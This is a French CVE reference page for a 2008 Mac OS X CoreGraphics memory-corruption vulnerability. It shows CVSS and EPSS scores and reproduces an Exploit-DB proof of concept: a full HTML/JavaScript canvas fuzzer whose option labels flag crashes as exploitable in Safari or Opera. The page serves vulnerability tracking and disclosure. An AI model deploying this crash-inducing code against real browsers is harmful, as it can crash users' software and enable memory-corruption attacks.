CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Unspecified vulnerability in CoreGraphics in Apple Mac OS X 10.4.11 and 10.5.4 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via unknown vectors involving "processing of arguments."
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
26.78%
–
–
2022-04-03
–
–
26.78%
–
–
2023-03-12
–
–
–
7.65%
–
2023-06-04
–
–
–
10.44%
–
2023-07-16
–
–
–
8.93%
–
2023-08-20
–
–
–
12.11%
–
2024-02-18
–
–
–
9.65%
–
2024-03-24
–
–
–
10.04%
–
2024-06-02
–
–
–
12.58%
–
2024-07-07
–
–
–
12.58%
–
2024-07-21
–
–
–
12.58%
–
2024-07-28
–
–
–
12.58%
–
2024-08-04
–
–
–
12.58%
–
2024-08-11
–
–
–
13.73%
–
2024-09-22
–
–
–
14.4%
–
2024-10-27
–
–
–
12.58%
–
2024-12-08
–
–
–
13.63%
–
2024-12-22
–
–
–
33.23%
–
2025-01-12
–
–
–
33.99%
–
2025-01-19
–
–
–
33.99%
–
2025-03-18
–
–
–
–
26.65%
2025-03-30
–
–
–
–
25.65%
2025-03-30
–
–
–
–
25.65,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2008-07-30 22h00 +00:00 Auteur : Michal Zalewski EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/30488/info
Apple Mac OS X is prone to multiple memory-corruption vulnerabilities that affect the CoreGraphics component.
Attackers can exploit these issues to execute arbitrary code in the context of the affected application or cause denial-of-service conditions.
The following versions are affected:
Mac OS X v10.4.11 and prior
Mac OS X Server v10.4.11 and prior
Mac OS X v10.5.4 and prior
Mac OS X Server v10.5.4 and prior
NOTE: These issues were previously covered in BID 30483 (Apple Mac OS X 2008-005 Multiple Security Vulnerabilities), but have been given their own record to better document them.
<body> <font face="arial,helvetica"> <font size=+3><code><CANVAS></code> fuzzer</font><font size=-1> by <a href="mailto:lcamtuf@coredump.cx">lcamtuf@coredump.cx</a></font><p> <div id=ccont> <canvas id=canvas height=200 width=300 style="border: 1px solid teal"></canvas> </div> <img id=image src="envelope.gif" align=top> <p> <input type=checkbox id=dealloc> Deallocate canvas after every cycle (NULL ptr in Safari, likely exploitable in Opera)<br> <input type=checkbox id=keep_ctx> Keep context (if combined with above, NULL ptr Firefox, likely exploitable in Opera)<br> <input type=checkbox id=scale_large> Use large canvas scaling (likely exploitable in Opera, bogs down Firefox)<br> <input type=checkbox id=return_undef> Return <code>undefined</code> values (NULL ptr Safari, may hang Opera)<br> <input type=checkbox id=return_large> Return large integers (exploitable crash in Safari, OOM/DoS elsewhere)<br> <input type=checkbox id=quick> Skip time-consuming operations (quicker, but may miss issues)<p> <input type=submit value="Begin tests" id=button onclick="setup_all()"><p> <script> var ctx; /* Canvas context */ var imgObj; /* Reference image */ var scval = 1; var transval = 0; var quick; var dealloc; var return_undef; var return_large; var scale_large; var keep_ctx; var iht; function setup_all() { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); imgObj = document.getElementById('image'); iht = document.getElementById('ccont').innerHTML; quick = document.getElementById('quick').checked; dealloc = document.getElementById('dealloc').checked; return_undef = document.getElementById('return_undef').checked; return_large = document.getElementById('return_large').checked; scale_large = document.getElementById('scale_large').checked; keep_ctx = document.getElementById('keep_ctx').checked; document.getElementById('button').disabled = true; setInterval('do_fuzz();',1); } function R(x) { return Math.floor(Math.random() * x); } function make_number() { var v; var sel; if (return_large == true && R(3) == 1) sel = R(6); else sel = R(4); if (return_undef == false && sel == 0) sel = 1; if (R(2) == 1) v = R(100); else switch (sel) { case 0: break; case 1: v = 0; break; case 2: v = 0.000001; break; case 3: v = 10000; break; case 4: v = 2000000000; break; case 5: v = 1e100; break; } if (R(4) == 1) v = -v; return v; } function make_color() { if (R(2) == 1) return "#C0F0A0"; else return "#000090"; } function make_fill() { var sel; if (quick == true) sel = 0; else sel = R(6); switch (sel) { case 0: case 1: case 2: return make_color(); break; case 3: var r = ctx.createLinearGradient(make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 4: var r = ctx.createRadialGradient(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 5: var r = ctx.createPattern(imgObj,"repeat"); if (R(6) == 0) r.addColorStop(make_number(),make_color()); return r; break; } } function do_fuzz() { if (dealloc == true) document.getElementById('ccont').innerHTML = iht; if (keep_ctx == false) { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); } for (i=0;i<100;i++) { try { switch (R(33)) { case 0: ctx.fillStyle = make_fill(); break; case 1: ctx.globalAlpha = Math.random() - .5; break; case 2: switch (R(3)) { case 0: ctx.globalCompositeOperation = 'copy'; break; case 1: ctx.globalCompositeOperation = 'xor'; break; case 2: ctx.globalCompositeOperation = 'source-over'; break; } break; case 3: switch (R(2)) { case 0: ctx.lineCap = 'round'; break; case 1: ctx.lineCap = 'butt'; break; } break; case 4: switch (R(2)) { case 0: ctx.lineJoin = 'round'; break; case 1: ctx.lineJoin = 'miter'; break; } break; case 5: ctx.lineWidth = make_number(); break; case 6: ctx.miterLimit = make_number(); break; case 7: if (quick == true) break; ctx.shadowBlur = make_number(); break; case 8: if (quick == true) break; ctx.shadowColor = make_fill(); break; case 9: if (quick == true) break; ctx.shadowOffsetX = make_number(); ctx.shadowOffsetY = make_number(); break; case 10: ctx.restore(); break; case 11: ctx.rotate(make_number()); break; case 12: ctx.save(); break; case 13: ctx.scale(-1,-1); break; case 14: if (quick == true) break; if (transval == 0) { transval = make_number(); ctx.translate(transval,0); } else { ctx.translate(-transval,0); transval = 0; } break; case 15: ctx.clearRect(make_number(),make_number(),make_number(),make_number()); break; case 16: if (quick == true) break; ctx.drawImage(imgObj,make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 17: ctx.fillRect(make_number(),make_number(),make_number(),make_number()); break; case 18: ctx.beginPath(); break; case 19: // ctx.clip() is evil. break; case 20: ctx.closePath(); break; case 21: ctx.fill(); break; case 22: ctx.stroke(); break; case 23: ctx.strokeRect(make_number(),make_number(),make_number(),make_number()); break; case 24: if (quick == true) break; ctx.arc(make_number(),make_number(),make_number(),make_number(),make_number(),true); break; case 25: if (quick == true) break; ctx.arcTo(make_number(),make_number(),make_number(),make_number(),make_number()); break; case 26: if (quick == true) break; ctx.bezierCurveTo(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 27: ctx.lineTo(make_number(),make_number()); break; case 28: ctx.moveTo(make_number(),make_number()); break; case 29: if (quick == true) break; ctx.quadraticCurveTo(make_number(),make_number(),make_number(),make_number()); break; case 30: if (quick == true) break; ctx.transform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 31: if (quick == true) break; ctx.setTransform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 32: if (scale_large == true) { switch (scval) { case 0: ctx.scale(-1000000000,1); ctx.scale(-1000000000,1); scval = 1; break; case 1: ctx.scale(-.000000001,1); scval = 2; break; case 1: ctx.scale(-.000000001,1); scval = 0; break; } } break; } } catch (e) { } } } </script>